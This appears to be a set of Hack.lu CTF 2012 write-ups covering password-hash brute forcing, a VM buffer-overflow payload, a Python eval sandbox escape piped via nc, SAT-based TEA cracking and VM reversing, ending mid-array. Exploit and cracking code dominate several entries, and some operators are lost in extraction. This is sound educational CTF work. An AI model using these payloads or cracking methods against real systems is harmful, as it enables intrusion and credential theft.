
Hack.lu CTF 2012: Zombies PPTP (450 points)
Written by Pierre Bourdon
20121025 11:00:001 2 3 4 5 6 7 8 9 10 11 12 13 14
Our intel shows us that the Zombies use a MSPPTP like protocol and luckily we could intercept a challengeresponse transmission of one of the Zombie outposts. The important thing for Zombies in this war is mass! Not only brain mass but their mass. So they built their PPTP protocol compatible to all older Zombie soldiers. Luckily our science team could extract the algorithm of the challengeresponse system out of a captured Zombie brain â€¦ I spare you the details, let's just say it was not a pretty sight. And here comes your part soldier: we need the password of this intercepted transmission. With this password we were finally able to turn this war to our favor. So move your ass soldier and good luck! https://ctf.fluxfingers.net/challenges/pptp.tar.gz credits: 450 +3 (1st), +2 (2nd), +1 (3rd)
The given tarball contains two important things: a Python script implementing two challenge/response algorithms for authentication, and a PCAP dump showing this TCP transmission between two hosts:
1 2 3 4 5 6
start_pptp 200 Ok dead234a1f13beef 200 41787c9f6ffde56919ca3cd8d8944590a9fff68468e2bcb6 incompatible 200 78165eccbf53cdb11085e8e5e3626ba9bdefd5e9de62ce91
In the Python script, the two algorithms are named
response_newTechnologie
andresponse_lm
. From the network dump, we can assume that the first hash sent by the client is fromresponse_newTechnologie
: the server answered it wasincompatible
, so the client tried the older method and sent the second hash, generated withresponse_lm
. The older method is probably more buggy, so let's work on it first. Here is the implementation:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
def lm_hash(self, input_password): # only use the first 14 bytes input_password = input_password[0:14] # convert all characters to uppercase chars input_password = input_password.upper() # split given password in two parts via 8 bytes password_part1 = input_password[0:8] # concat two 0 bytes to reach 8 bytes password_part2 = input_password[8:14] + "\0\0" # hash part 1 part1_des = des(password_part1) hash_part1 = part1_des.encrypt(self.constant) # hash part 2 part2_des = des(password_part2) hash_part2 = part2_des.encrypt(self.constant) # concat hash parts output_hash = hash_part1 + hash_part2 # return hash as hex value return binascii.hexlify(output_hash) def response_lm(self, challenge, password): # generate lm_hash for response password_hash = self.lm_hash(password) if len(challenge) != 16: raise ValueError("Challenge has to be 8 byte hex value.") # create three passwords for the response password_res1 = password_hash[0:16] password_res2 = password_hash[12:28] password_res3 = password_hash[28:32] + "000000000000" # response part 1 part1_des = des(binascii.unhexlify(password_res1)) res_part1 = part1_des.encrypt(binascii.unhexlify(challenge)) # response part 2 part2_des = des(binascii.unhexlify(password_res2)) res_part2 = part2_des.encrypt(binascii.unhexlify(challenge)) # response part 3 part3_des = des(binascii.unhexlify(password_res3)) res_part3 = part3_des.encrypt(binascii.unhexlify(challenge)) # create full response and return response = res_part1 + res_part2 + res_part3 return binascii.hexlify(response)
Having worked a lot with MSCHAPv2 in the past, I found this algorithm very similar to MSCHAPv2 but using 2 LM hashes instead of a NTLM hash. The first vulnerability, which is common to MSCHAPv2, is that the third part of the response only uses two variable bytes: the key of the DES algorithm for part 3 always ends with 6 NUL bytes. We can bruteforce these two bytes very easily (65536 DES computations are done in less than 0.1s on a modern computer) and get part of the LM hash of the password. Unfortunately, that is not very useful in this case: the password is too long to bruteforce the whole LM hash, so we can't do anything with these two bytes.
The second vulnerability is that the key space for the first part of the LM hash is very reduced. First, the input password is converted to uppercase. If we assume that only alphabetical characters are present, that leaves us with only
26^8
(208 billions) possible keys. Still a lot, but manageable on a GPU in several hours. However, we're in a contest, we can't reimplement a GPU cracker and wait, we want the breakthrough bonus points!The third vulnerability is that DES takes an 8 character input as the key, but actually only uses 56 bits of that input, discarding the LSB of each character. This means that on the 26 possible alphabetical characters, only 13 need to be tested: the other 13 share the same high 7 bits. This reduces the key space to
13^8
(815 millions) possible keys, which can easily be tested with a simple C program on a CPU.The last thing we need is a way to check if the first 8 characters of the passwords match the ones used to generate the hash. If they match, the first part of the LM hash (first 64 bits) will be identical. This means the first part of the response will use an identical key, and because the challenge is constant that implies the first part of the response will be identical. Our bruteforce algorithm is the following:
1 2 3
For each 8 chars password using charset (EAOISCMWGYKQZ) if DES(challenge, DES("Trololol", password)) == 78165eccbf53cdb1 found
And here is a C implementation that finds the first 8 characters of the password, in uppercase, with an unknown LSB, in about 5 minutes on my laptop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
#define CONSTANT "Trololol" #define CHALLENGE "\xde\xad\x23\x4a\x1f\x13\xbe\xef" #define WANTED "x\x16^\xcc\xbfS\xcd\xb1" #define CHARSET "EAOISCMWGYKQZ" #define CHARSETSIZE ((unsigned long)(sizeof (CHARSET))) #define CHARSETSIZE2 ((CHARSETSIZE)*(CHARSETSIZE)) #define CHARSETSIZE4 ((CHARSETSIZE2)*(CHARSETSIZE2)) #define CHARSETSIZE8 ((CHARSETSIZE4)*(CHARSETSIZE4)) #define NSTEPS CHARSETSIZE8 static void build_key(int step, char* buffer) { int idx[8]; for (int i = 0; i < 8; ++i) { idx[i] = step % CHARSETSIZE; step /= CHARSETSIZE; } for (int i = 0; i < 8; ++i) for (int j = 0; j < 8; ++j) buffer[i*8 + j] = (CHARSET[idx[i]] >> (7  j)) & 1; } int main(void) { char bf_key[64]; char res_key[64]; char final_res[64]; char constant_bits[64]; char challenge_bits[64]; char wanted_bits[64]; for (int i = 0; i < 8; ++i) for (int j = 7; j >= 0; j) { constant_bits[i * 8 + (7  j)] = (CONSTANT[i] >> j) & 1; challenge_bits[i * 8 + (7  j)] = (CHALLENGE[i] >> j) & 1; wanted_bits[i * 8 + (7  j)] = (WANTED[i] >> j) & 1; } for (int step = 0; step < NSTEPS; ++step) { memcpy(res_key, constant_bits, 64); memcpy(final_res, challenge_bits, 64); build_key(step, bf_key); setkey(bf_key); encrypt(res_key, 0); setkey(res_key); encrypt(final_res, 0); if (!memcmp(final_res, wanted_bits, 64)) { printf("Found: %d\n", step); return 0; } if ((step % 1000000) == 0) printf("Current step: %d\n", step); } return 0; }
According to this, the first 8 chars are (approximately):
"ZOMCIESA"
. Now we can use about the same code to bruteforce the last 6 chars. We just need to be careful to use the right part of the hash to generate the second part of the response. The C code is not very different, so I will just skip this and post the second part:"EOSEMS"
. We can easily check if our answer is valid:1 2
>>> PPTP().response_lm('dead234a1f13beef', 'ZOMCIESAEOSEMS') '78165eccbf53cdb11085e8e5e3626ba9bdefd5e9de62ce91'
The hash is exactly the same. Win! However, this is not the key yet: remember that we divided our key space by 4: we only considered uppercase characters (where we should have considered upper and lowercase), and only characters with the LSB equal to 1 (because DES ignored that bit anyway). To get the real password, we can just bruteforce the
4^14
(268 millions) different possibilities using the new technologie hash, which does not lose informations. Here is the script we used, with a small hack to hardcode that the key starts with "ZOMBIES" (this can be deduced easily by a human):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
import pptp for i in xrange(2**7 * 4**7): n1 = i / 128 n2 = i % 128 s1 = 'ZOMBIES' s2 = s1.lower() s = '' for j in xrange(7): if n2 & 1: s += s1[j] else: s += s2[j] n2 >>= 1 s1 = 'AEOSEMS' s2 = '@DNRDLR' s3 = s1.lower() s4 = s2.lower() for j in xrange(7): l = [s1, s2, s3, s4] s += l[n1 & 3][j] n1 >>= 2 x = pptp.PPTP() if x.response_newTechnologie('dead234a1f13beef', s) == '41787c9f6ffde56919ca3cd8d8944590a9fff68468e2bcb6': print s if (i % 100000) == 0: print i
After one or two minutes of computation (<3 PyPy), we get the real key that we can submit on the website:
ZomBIEsAdOReMS
.TweetPermalink & comments 
Hack.lu CTF 2012: Braingathering (500 points)
Written by Samuel Chevet
20121027 13:00:001 2 3 4 5 6 7 8 9
We fought our way to the main server room. The zombies realized that they run out of humans sooner or later, so they started to build machines to create humans for them to eat. Those machines have a special code which is only known to the zombies. This code is capable of destroying all breedingmachines. Now, it's all up to you to get this code and tell us so that we can destroy all machines. SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
Braingathering is an elf32 binary which asks for 3 choices:
 1) Need Brainz brainz brainz, Zombie huuuungry!
 2) How much longer till braaaiiiiinz?
 3) Nooo more brainz! STOP THE BRAINZ!
The two first are not interesting, but the third asks us for a password and compares it with the content of the "killcode". If the password entered by the user is right, it prints us:
1
YEAH, now go and submit the killcode so that we can stop other systems as well
So we need to leak this password or to get a shell to print the content of the file "killcode".
Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section's type to PROGBITS and we can see a simple deciphering loop.
1 2 3 4 5 6 7 8 9 10
loc_8048BC1: ; CODE XREF: start+1Aj mov eax, offset loc_8048500 mov ecx, 6A1h loc_8048BCD: ; CODE XREF: startAj xor byte ptr [eax], 8Ch inc eax dec ecx cmp ecx, 0 jg short loc_8048BCD
The binary xors bytes from
0x8048500
to0x8048ba1
with0x8C
, and jumps to0x8048500
, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it's definitively a VM.It's friday night, and I was bored, so I decided to write an IDA processor for this vm:
Now we just have to dump the vm from offset
0x2060
to0x2847
, and use this processor: "brain VM CPU: brain".The first thing the vm does is decyphering his code with xor
0x7A7A
from offset0x50
to0x1050
. Again the solution is to write a simple C program to do the task for us.Ok now we have the full code of the VM!
The only interesting sub is at offset
0x014E
, we can call askforpassword, it is the sub for the third choice.The problem in this function is that a stack based buffer overflow can occur. It reserves
0x34
(52) bytes on the stack for the buffer, but reads on STDIN0x36
(54), so we can overwrite the return address of this sub inside the VM.1 2 3
0x187 MOV R4, $8000 0x18A MOV R1, $10 0x18D CALL memcpy
The password will be copied to address
0x8000
, and our buffer to0x7000
, to compare them in subfunctionsub_00FC
.The opcode
0x3F
is able to write a buffer to a file descriptor.1
0x3F opcode, write(*PC, R4, strlen(R4));
So the idea is to put in R4 the adress of the password and execute this opcode. The opcode
0x49
is perfect for this task :1
0x49 mov r4, [PC]
So the payload looks like this:
1 2 3 4 5 6 7 8
0x49 0x00 0x80 ; mov r4, 0x8000 0x40 0x01 ; write(STDOUT_FILENO, r4, strlen(R4)); 0x53 0x0D 0x70 ; Adresse return for sub_print_newline (buffer + 0xD) for ending correctly exploit 0x53 0x03 0x01 ; push 0x013E (@ of sub_print_newline) 0x58 ; ret "0xFF"*43 ; END VM 0x00 0x70 ; New Address to return (@buffer)
Result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
ctf@braingathering:~$ perl e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload ==[ZOMBIE BRAIN AQUIREMENT SYSTEM]== Automated system for braingathering ready. 1) Need Brainz brainz brainz, Zombie huuuungry! 2) How much longer till braaaiiiiinz? 3) Nooo more brainz! STOP THE BRAINZ! X) Nah, I'm going to get my brains somewhere else. ### Warning: Only for authorized zombies ### Please enter teh z0mb13 k1llc0d3: Comparing k1llc0d3 INVALID OMG_VMAP0CALYPS3

Hack.lu CTF 2012: The Sandboxed Terminal (400 points)
Written by PierreMarie de Rodat
20121025 13:00:001 2 3 4 5 6 7 8 9 10 11
Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key. https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py credits: 400 +3 (1st), +2 (2nd), +1 (3rd)
The sandbox source file contains the port number to connect to the terminal. A sessions prompts two numbers and an “operator”. These inputs are checked against regular expressions:
^[\d]{0,4}$
for the numbers and^[\W]+$
for the operator (and it must not exceed 1899 bytes). If each matches, then if the operator contains a single quote ('
) the operator is replaced byeval(operator)
. Then,eval(number1 + operator + number2)
is computer and printed.Before all of this, some code wraps builtins in order to prevent imports and uses of
open
andfile
.Our way to display the content of the
key
file was first to find a mean to evaluate alphanumerical code from theoperator
, and then to bypass the sandbox. The second part was the most easy:open.orig
gives access to the originalopen
builtin, thus executingopen.orig('key').read()
was enough to reach the key.Finding a way to craft alphanumerical caracters from the operator was far more difficult. The first thing to notice was that
()!=()
(which evaluates toFalse
) can be used as the number 0, and()==()
(which evaluates toTrue
) can be used as the number 1. From this, one can craft all possible numbers. Then, it is possible to take a minimal character set using Python’s backtick notation to get the string representation of an expression:`()==()`
yields'True'
. With nonprintable ASCII chars, hexadecimal characters were available after oneeval
:1 2
>>> eval('`"\xfe"`[(()==())<<(()==())<<(()==())]') 'e'
When the global
eval
is used, the given expression is evaluated from code inside the sandbox method, in whichself
is the wapper ofeval
itself! Thus, evaluatingeval('self("0x41")')
will return the content of thea
variable.Using all these principles, it is possible to execute our code using 3 eval stages:
 first, the remote sandboxed terminal receives our bytes: numbers are empty,
and the
operator
contains our payload. The payload contains at least one single quote and theoperator
is evaluated once. With the previous tricks, one can craftself("...hexadecimally escaped bytes...")
 then, the second
eval
evaluatesself(...)
which is equivalent toeval("...escaped bytes..")
, and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!
Thus, we crafted the payload using the following script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
def get_num(n): '''Return a nonalphanum expression that evaluates to the given number.''' if n == 0: return '[]==()' elif n == 1: return '[]!=()' else: return '+'.join('([]!=())' for i in range(n)) # Craft "self("" result = ''.join(( '`{()==()}`[()==[]]+', # 's' '`"\xfe"`[%s]+' % get_num(4), # 'e' '`()==[]`[%s]+' % get_num(2), # 'l' '`"\xff"`[%s]+' % get_num(4), # 'f' '"(\\""+' # '("' )) # Turn the wanted expression into a string of hexadecimally escaped bytes. result += '`\'' for c in 'open.orig("key").read()': o = ord(c) hi = 0xf0  (o >> 4) lo = 0xf0  (o & 0x0f) result += '\x01.\x01' result += chr(hi) + '..' result += chr(lo) + '.....' result += '\'`[%s:(%s):%s]+' % (get_num(1), get_num(1), get_num(6)) # Craft "\")" result += '"\\\")"' # Simulate the sandboxed environment. class Wrapper: pass self=eval open_orig = open open = Wrapper() open.orig = open_orig # Print results to stderr for debugging import sys print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result)) print >> sys.stderr, '> %s' % repr(eval(result)) print >> sys.stderr, '> %s' % repr(eval(eval(result))) print '' print '' print result
Finally, we send the payload to the service:
1
python2 craft_payload.py  nc ctf.fluxfingers.net 2060
Key:
dafuq_how_did_you_solve_this_nonalpha_thingy
.  first, the remote sandboxed terminal receives our bytes: numbers are empty,
and the

Hack.lu CTF 2012: Mealtime (200 points)
Written by Pierre Bourdon
20121025 11:00:001 2 3 4 5 6 7 8 9 10
Heading up the steeple gave you and your companion a nice view over the outbreak situation in your city. But it also attracted a lot of unwanted attention. Zombies are surrounding your spot and are looking for an entrance to the building. You obviously need some bait to lure them away so you can flee safely. Solve this challenge to find out which human bodypart zombies like the most. https://ctf.fluxfingers.net/challenges/mealtime.exe credits: 200 +3 (1st), +2 (2nd), +1 (3rd)
The challenge takes a 256 bits key as
argv[1]
, cuts it into 4 64 bits blocks, encrypts it using a modified TEA with a constant 32 bits key (different for each block), then compares the ciphered block to a 64 bits constant block. The goal was to find each 64 bits block independently then concatenate them to get the key. I'll only detail what we did for one block, the other three blocks were the same with a different key/ciphered block.This Win32 executable used a simple
SeDebugPrivilege
trick to try to stop us from debugging. After patching this, we were able to run it inside a debugger to test if our implementation of the encryption algorithm we reversed was correct. After a lot of failed tries (being tired doesn't help), we found that this code implemented the same algorithm:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
void tea(unsigned int* pdw1, unsigned int* pdw2) { unsigned int dw1 = *pdw1, dw2 = *pdw2; unsigned int cipher = 0; int i; for (i = 0; i < 64; ++i) { dw1 += (cipher + 0x78756c66) ^ (dw2 + ((dw2 << 4) ^ (dw2 >> 5))); cipher = 0x61c88647; dw2 += (cipher + 0x78756c66) ^ (dw1 + ((dw1 << 4) ^ (dw1 >> 5))); } *pdw1 = dw1; *pdw2 = dw2; } int main(void) { unsigned int dw1 = 0x83ffeeea; // first part of input block unsigned int dw2 = 0xec0ac902; // second part of input block tea(&dw1, &dw2); printf("0x%08x 0x%08x\n", dw1, dw2); return 0; }
From there, we could either try to find a vulnerability in the algorithm and write a bruteforcer, or take the "lazy" route: provide a representation of the problem in a DIMACS file and run
cryptominisat
on it to solve the problem automagically. This Python script generated the DIMACS description of the problem (see my blog post about SAT and hash cracking for the CNFGenerator code and the severalcnf_*
functions):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
gen = CNFGenerator() dw2 = cnf_int(gen, 32) dw1 = cnf_int(gen, 32) cipher = cnf_const(gen, 0) addcst = cnf_const(gen, 0x63737265) subcst = cnf_const(gen, 0x61c88647) for i in xrange(32): cipher_plus = cnf_add(gen, cipher, addcst) sum1 = cnf_add(gen, dw2, cnf_xor(gen, cnf_sll(gen, dw2, 4), cnf_srl(gen, dw2, 5))) dw1 = cnf_add(gen, dw1, cnf_xor(gen, cipher_plus, sum1)) cipher = cnf_sub(gen, cipher, subcst) cipher_plus = cnf_add(gen, cipher, addcst) sum2 = cnf_add(gen, dw1, cnf_xor(gen, cnf_sll(gen, dw1, 4), cnf_srl(gen, dw1, 5))) dw2 = cnf_add(gen, dw2, cnf_xor(gen, cipher_plus, sum2)) cnf_equal(gen, dw1, 0x131af1be) cnf_equal(gen, dw2, 0x4bb34049) print gen.output()
This generates a DIMACS file with 23520 variables and 139232 clauses. CryptoMiniSAT can solve this in about 0.06s, generating correct values for the initial
dw1
anddw2
:615f7a6e 645f6572
.Repeating this technique on the three remaining 64 bits blocks gives us the following key:
delicious_brainz_are_delicious
. 
Hack.lu CTF 2012: Donn Beach (500 points)
Written by Pierre Bourdon
20121025 11:00:001 2 3 4 5 6 7 8 9 10 11 12
The famous zombie researcher “Donn Beach” almost created an immunization against the dipsomanie virus. This severe disease leads to the inability to defend against Zombies, later causes a complete loss of memory and finally turns you into one of them. Inexplicably Donn forgot where he put the license key for his centrifuge. Provide him a new one and humanity will owe you a debt of gratitude for fighting one of the most wicked illnesses today. https://ctf.fluxfingers.net/challenges/donn_beach.exe ctf.fluxfingers.net tcp/2055 credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
This Win32 executable starts by asking a name, hashing it and comparing it to a constant, then asks a key, does several computations on it using a VM obfuscated with SSE3 instructions, and compares the result of these computations to four integer constants.
We can safely patch the name hashing and make sure that the name hash value is the constant we want  using hardware breakpoints, we can see that the name itself isn't used later, but the name hash is. The key is composed of three 32 bits integers, read from stdin like this (in hex):
AAAAAAAABBBBBBBBCCCCCCCC
.Before running code in the VM, the executable initializes the VM state with all the inputs to the algorithm:
 Name hash
 First part of the key (
key1
)  Second part of the key (
key2
)  Third part of the key (
key3
)  Pointer to the current instruction
 Pointer to a constant 256 bytes array
 Stack pointer (points to freshly allocated memory)
After running the VM code, it unpacks these values from the state and stores them back to stack variables. They are then compared to the constant values.
Looking inside the VM code a bit closer for 1 hour, and stepping into it with a debugger, we can notice several interesting things:
 The bytecode is interlaced with the VM code in the binary. The x86 code regularly contains long multibyte NOPs, in which the VM code is placed. The VM simply ignores any instruction it does not know and skips to the next byte, so it will only execute the instructions from inside the NOPs.
 The VM state is contained in MMX registers
mm0
tomm3
, scrambled. Bytes of each of the VM 8 32 bits registers are shuffled to fill these 4 64 bits registers.  The instruction pointer always goes forward, and there does not seem to be anything that increments it with a non constant increment. This means the VM does not support jumps of any sort, so the logic inside of the VM is very reduced.
The 8 VM registers initially contain the following values:
 Reg 0: Constant 256 bytes array ptr
 Reg 1: Name hash
 Reg 2: key1
 Reg 3: key2
 Reg 4: key3
 Reg 5: 0
 Reg 6: Stack pointer
 Reg 7: EIP
Something also makes our life a lot easier: inside the instruction handlers, to read a register value, the code does not inline the SSE instructions to unshuffle and unpack the register. Instead, it gets a function pointer from a table which contains 8 register read functions (one for each register), and calls that function to get the register value in
mm4
. The same can be observed for register writes. This allows us to very easily notice the instructions reading and writing to registers.Using all of these infos, I started to statically reverse engineer all the instruction handlers present in the binary. After one additional hour of work and a lot of laughs after I was rickrolled by an instruction handler, a disassembler was ready:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
code = map(ord, open('donn_beach.exe').read()[0x2400:]) OPCODES = { 0x11: ("ABORT", 1), 0x09: ("EXIT", 1), 0x3E: ("ADD", 2), 0x0D: ("PUSH", 2), 0x2A: ("PUSH8", 2), 0x26: ("MOV", 2), 0x4C: ("POP", 2), 0x17: ("XOR", 2), 0x54: ("MOV", 2), 0x7D: ("SLL", 2), 0x2C: ("LOAD8", 2), 0x3B: ("WRITE8", 2), 0x1B: ("SLL", 2), 0x5D: ("SRL", 2), 0x34: ("MOV", 2), 0x31: ("AND", 2), } i = 0 while i < len(code): op = code[i] if op in OPCODES: print OPCODES[code[i]][0], if OPCODES[code[i]][1] == 2: print "%02x" % code[i + 1] else: print i += OPCODES[code[i]][1] else: i += 1
Running it on the binary gives us the following output:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362
PUSH 00 PUSH 04 PUSH 03 PUSH 02 PUSH8 ff POP 02 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 01 PUSH 05 PUSH 05 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 04 POP 03 POP 01 PUSH 03 PUSH 05 PUSH 04 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 04 POP 03 POP 02 POP 01 PUSH 05 PUSH 05 PUSH 03 PUSH 04 PUSH8 ff POP 02 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 01 POP 02 POP 03 MOV 45 PUSH8 08 POP 00 MOV 52 SLL 50 SRL 20 SRL 20 SRL 20 XOR 25 MOV 54 SRL 50 SLL 40 SLL 40 SLL 40 XOR 45 PUSH8 10 POP 00 MOV 53 SRL 50 SLL 30 XOR 35 MOV 01 XOR 12 XOR 23 XOR 34 XOR 40 POP 00 POP 00 PUSH 04 PUSH 03 PUSH 02 PUSH8 ff POP 02 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 01 PUSH 05 PUSH 05 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 04 POP 03 POP 01 PUSH 03 PUSH 05 PUSH 04 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 04 POP 03 POP 02 POP 01 PUSH 05 PUSH 05 PUSH 03 PUSH 04 PUSH8 ff POP 02 PUSH8 08 POP 04 MOV 31 AND 32 ADD 30 LOAD8 53 MOV 31 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 AND 32 ADD 30 LOAD8 33 SLL 34 SLL 34 XOR 53 MOV 31 SRL 34 SRL 34 SRL 34 ADD 30 LOAD8 33 SLL 34 SLL 34 SLL 34 XOR 53 POP 01 POP 02 POP 03 MOV 45 PUSH8 08 POP 00 MOV 52 SLL 50 SRL 20 SRL 20 SRL 20 XOR 25 MOV 54 SRL 50 SLL 40 SLL 40 SLL 40 XOR 45 PUSH8 10 POP 00 MOV 53 SRL 50 SLL 30 XOR 35 MOV 01 XOR 12 XOR 23 XOR 34 XOR 40 EXIT
After a lot of boring reverse on this code, this gives us the following algorithm (the mapping table is the constant array mentioned earlier in the VM state):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
static const unsigned char mapping[] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x17, 0x44, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 